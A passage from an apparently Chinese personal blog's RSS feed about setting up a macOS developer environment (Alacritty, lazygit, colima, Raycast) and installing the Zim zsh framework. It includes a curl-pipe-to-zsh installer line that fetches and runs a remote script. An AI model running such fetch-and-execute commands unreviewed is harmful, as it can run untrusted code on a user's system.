&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;结果生成的 zip 里会有：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bar.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;__MACOSX/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;__MACOSX/foo/._bar.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这些 ._bar.txt 就是存资源分叉或扩展属性的。总之不要用 Finder。&lt;/p&gt;
&lt;h4 id="路径与权限模型"&gt;路径与权限模型
&lt;/h4&gt;&lt;p&gt;macOS 路径中 / 一样分隔，但默认用户家目录权限比 Linux 更严格（SIP 保护 + sandbox）。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/usr&lt;/code&gt;(除了&lt;code&gt;/usr/local&lt;/code&gt;), &lt;code&gt;/System&lt;/code&gt;, &lt;code&gt;/bin&lt;/code&gt;, &lt;code&gt;/sbin&lt;/code&gt; 等在 macOS 是受保护的系统卷，即使 root 都不能随便写。&lt;/p&gt;
&lt;p&gt;推荐把开发环境放在 &lt;code&gt;/usr/local&lt;/code&gt; 或 &lt;code&gt;$HOME/.local&lt;/code&gt; 下。&lt;/p&gt;
&lt;h3 id="shell"&gt;Shell
&lt;/h3&gt;&lt;p&gt;macOS 默认使用 zsh。&lt;/p&gt;
&lt;h4 id="zim-framework"&gt;Zim Framework
&lt;/h4&gt;&lt;p&gt;另见这一篇文章：&lt;a class="link" href="https://v3n0.com/post/2025/zim-makes-my-life-easier/" target="_blank" rel="noopener"
&gt;我的 Zim Framework 安装和配置&lt;/a&gt;&lt;/p&gt;
&lt;h4 id="lazygit"&gt;lazyGit
&lt;/h4&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/jesseduffield/lazygit" target="_blank" rel="noopener"
&gt;lazygit&lt;/a&gt; 是非常好用的 Git TUI，我很爱用。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;brew install lazygit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;我个人非常常用，所以给它加个别名&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;alias lg=&amp;#39;lazygit&amp;#39;&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; ~/.zshrc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id="yazi"&gt;Yazi
&lt;/h4&gt;&lt;p&gt;&lt;a class="link" href="https://yazi-rs.github.io/" target="_blank" rel="noopener"
&gt;Yazi&lt;/a&gt; 是终端文件管理器。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;brew install yazi
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="alacritty"&gt;Alacritty
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://alacritty.org/" target="_blank" rel="noopener"
&gt;Alacritty&lt;/a&gt; 是一个终端模拟器，轻量好用且非常非常快，极简，没有携带任何提供终端以外的功能(分屏，标签页）。如果更喜欢终端分屏而不是 tmux 的话建议另行使用 kitty。&lt;/p&gt;
&lt;h4 id="设置字体"&gt;设置字体
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-toml" data-lang="toml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# ~/.config/alacritty/alacritty.toml&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;size&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;16.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;normal&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;family&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;JetBrainsMono Nerd Font&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Regular&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bold&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;family&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;JetBrainsMono Nerd Font&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Bold&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;italic&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;family&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;JetBrainsMono Nerd Font&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Italic&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bold_italic&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;family&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;JetBrainsMono Nerd Font&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Bold Italic&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id="option-键映射为-alt"&gt;option 键映射为 alt
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-toml" data-lang="toml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# ~/.config/alacritty/alacritty.toml&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;window&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;option_as_alt&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Both&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id="ssh-到-rhel-等系统的渲染错误问题"&gt;ssh 到 RHEL 等系统的渲染错误问题
&lt;/h4&gt;&lt;p&gt;当你在本机运行 Alacritty 并 SSH 到远程主机时，本机的 Alacritty 会设置环境变量：&lt;code&gt;TERM=alacritty&lt;/code&gt;。这告诉远程系统：“我是一个叫 alacritty 的终端，请用这个类型的渲染方式来处理颜色、光标移动、退格、清屏等控制序列。”&lt;/p&gt;
&lt;p&gt;但问题是 Red Hat 默认的 /usr/share/terminfo 里没有 alacritty 这个定义。&lt;/p&gt;
&lt;p&gt;所以它看到 $TERM=alacritty 时，只能“随便猜”或者退回到某种兼容模式（通常是 dumb、xterm 或 vt100），导致：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;颜色错乱（它不理解 256 色甚至 true color 的控制码）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Backspace 逻辑不对（字符删除信号被解释成插入空格）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;提示符/补全的高亮样式全变色（因为属性码错位）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;infocmp alacritty &amp;gt; alacritty.info
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;scp alacritty.info user@rhel:/tmp/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ssh user@rhel
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tic -x /tmp/alacritty.info
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="容器"&gt;容器
&lt;/h3&gt;&lt;p&gt;macOS 上无法直接使用 linux 内核功能，因此容器和 windows 一样需要使用虚拟机实现，因此 macOS 上的容器不仅需要 CLI 还需要虚拟机 daemon。&lt;/p&gt;
&lt;p&gt;最主流的容器虚拟机的选择是 Docker Desktop + Docker CLI&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;brew install --cask docker &lt;span class="c1"&gt;# Docker Desktop&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;brew install docker docker-compose &lt;span class="c1"&gt;# Docker CLI 和 compose&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;虽然所有的操作完全可以使用 docker CLI 完成，但它总归会让人需要见到 GUI。&lt;/p&gt;
&lt;p&gt;如果想纯 CLI，macOS 上另一个容器虚拟机的比较流行的选择是开源的 &lt;a class="link" href="https://github.com/abiosoft/colima" target="_blank" rel="noopener"
&gt;colima&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;brew install docker docker-compose colima
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;需要启动容器前，可以 &lt;code&gt;colima start&lt;/code&gt;，不需要的时候 &lt;code&gt;colima stop&lt;/code&gt;。毕竟是虚拟机，平时不用的时候可以稍微省点电。&lt;/p&gt;
&lt;p&gt;另一个选择是 Orbstack，个人免费使用但有少些限制，商业付费。据说比 colima 使用体验丝滑很多，但我还没尝试过。目前 colima 对我来说够用。&lt;/p&gt;
&lt;h2 id="其他效率工具"&gt;其他效率工具
&lt;/h2&gt;&lt;p&gt;下面的工具只有 Raycast 是我常用的，另外几个我还没折腾过。&lt;/p&gt;
&lt;h3 id="raycast"&gt;Raycast
&lt;/h3&gt;&lt;p&gt;Raycast 是 macOS 上的一款快速启动器，表面看似乎只是 Spotlight 的替代品（即 ⌘ Space），但实际上更像一个开发者取向的系统操作平台，可以说是用键盘控制 macOS 的一切。不仅能打开应用、搜索文件，还能直接操作系统功能、运行命令、调用 API、触发脚本、访问第三方服务。
所有操作几乎都通过快捷键完成。&lt;/p&gt;
&lt;p&gt;个人使用免费，功能完整。Pro 订阅才包括云同步、AI 助手、共享命令等功能，不过这些功能都可有可无，免费版已经足够强大。&lt;/p&gt;
&lt;h3 id="hammerspoon"&gt;Hammerspoon
&lt;/h3&gt;&lt;p&gt;可以 lua 脚本接管各种系统级别输入，使得 macOS 实际上也可以被高度定制化。比如让窗口自动平铺、对齐、调整大小、移动到指定屏幕，监听 Wi-Fi 状态切换、USB 设备插拔、屏幕变化、甚至电量和音量事件，然后自动执行脚本。&lt;/p&gt;
&lt;h3 id="bettertouchtool"&gt;BetterTouchTool
&lt;/h3&gt;&lt;p&gt;能拦截 Force Click、三指手势等，并重新映射，但是收费。&lt;/p&gt;
&lt;h3 id="scroll-reverser"&gt;Scroll Reverser
&lt;/h3&gt;&lt;p&gt;专门分开触控板和鼠标滚轮的滚动方向。&lt;/p&gt;
&lt;h3 id="karabiner-elements"&gt;Karabiner-Elements
&lt;/h3&gt;&lt;p&gt;能改键盘、鼠标、触控板底层事件。&lt;/p&gt;</description></item><item><title>我的 Zim Framework 安装和配置</title><link>https://v3n0.com/post/2025/zim-makes-my-life-easier/</link><pubDate>Mon, 27 Oct 2025 15:32:11 +0800</pubDate><guid>https://v3n0.com/post/2025/zim-makes-my-life-easier/</guid><description>&lt;p&gt;初次知道 zim 是在 &lt;a class="link" href="https://arch.icekylin.online/guide/advanced/beauty-3.html#_2-zsh-%E7%BE%8E%E5%8C%96" target="_blank" rel="noopener"
&gt;Archlinux 简明指南&lt;/a&gt;。体感上确实比 Oh-my-zsh 快一些，主要快在启动速度。这一点在使用 tmux 之类的时候，频繁创建关闭终端，体感上会比较明显。&lt;/p&gt;
&lt;p&gt;之前 Arch 上的 zim 配置了什么东西没有记下来，早就忘了，没记错的话就几乎只是跟着上面的教程装了个 p10k。现在入手了 Macbook air，准备把自己的工作流配置都记录一下。这篇博客会是其中的一篇。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="zim-安装"&gt;Zim 安装
&lt;/h2&gt;&lt;p&gt;Zim Framework 官网上的指令:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -fsSL https://raw.githubusercontent.com/zimfw/install/master/install.zsh &lt;span class="p"&gt;|&lt;/span&gt; zsh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;重进终端，可以看到终端样式已经变了。&lt;code&gt;.zshrc&lt;/code&gt; 文件中也多出了 zim 生成的配置内容。大部分一般不用更改。我习惯把编辑模式改成 vi 模式：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# ~/.zshrc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Set editor default keymap to emacs (`-e`) or vi (`-v`)Vj&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bindkey -v
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;同时 zim 安装后创建了 &lt;code&gt;.zimrc&lt;/code&gt;。zim 插件的安装方式基本上就是，在这里面加 zmodule，然后 &lt;code&gt;zimfw install&lt;/code&gt; 一下。&lt;/p&gt;
&lt;p&gt;一般只要仓库根目录存在一个可以被 source 的 &lt;code&gt;.zsh&lt;/code&gt; 文件，就可以被视作一个 zmodule。只要在 &lt;code&gt;.zimrc&lt;/code&gt; 添加: &lt;code&gt;zmodule author/repo&lt;/code&gt;，然后 zim 会自己 clone, 加载。&lt;/p&gt;
&lt;p&gt;zim 默认提供了很多指令别名。见: &lt;a class="link" href="https://zimfw.sh/docs/cheatsheet/" target="_blank" rel="noopener"
&gt;Zim Framework Docs - Cheatsheet&lt;/a&gt;。个人不常用。&lt;/p&gt;
&lt;h2 id="插件配置"&gt;插件配置
&lt;/h2&gt;&lt;h3 id="powerlevel10k"&gt;powerlevel10k
&lt;/h3&gt;&lt;p&gt;一个比较好用的 zsh 主题。已经停止维护但够稳定好用。以后也许会试试 Starship，但我懒得折腾。&lt;/p&gt;
&lt;p&gt;想通过 zim 安装其他插件&lt;/p&gt;
&lt;p&gt;安装前建议先安装 JetBrainsMono Nerd Font。&lt;/p&gt;
&lt;p&gt;我使用 Alacritty，设置字体可以修改 &lt;code&gt;~/.config/alacritty/alacritty.toml&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-toml" data-lang="toml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# ~/.config/alacritty/alacritty.toml&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;size&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;16.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;normal&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;family&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;JetBrainsMono Nerd Font&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Regular&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bold&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;family&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;JetBrainsMono Nerd Font&amp;#34;&lt;/span&gt;
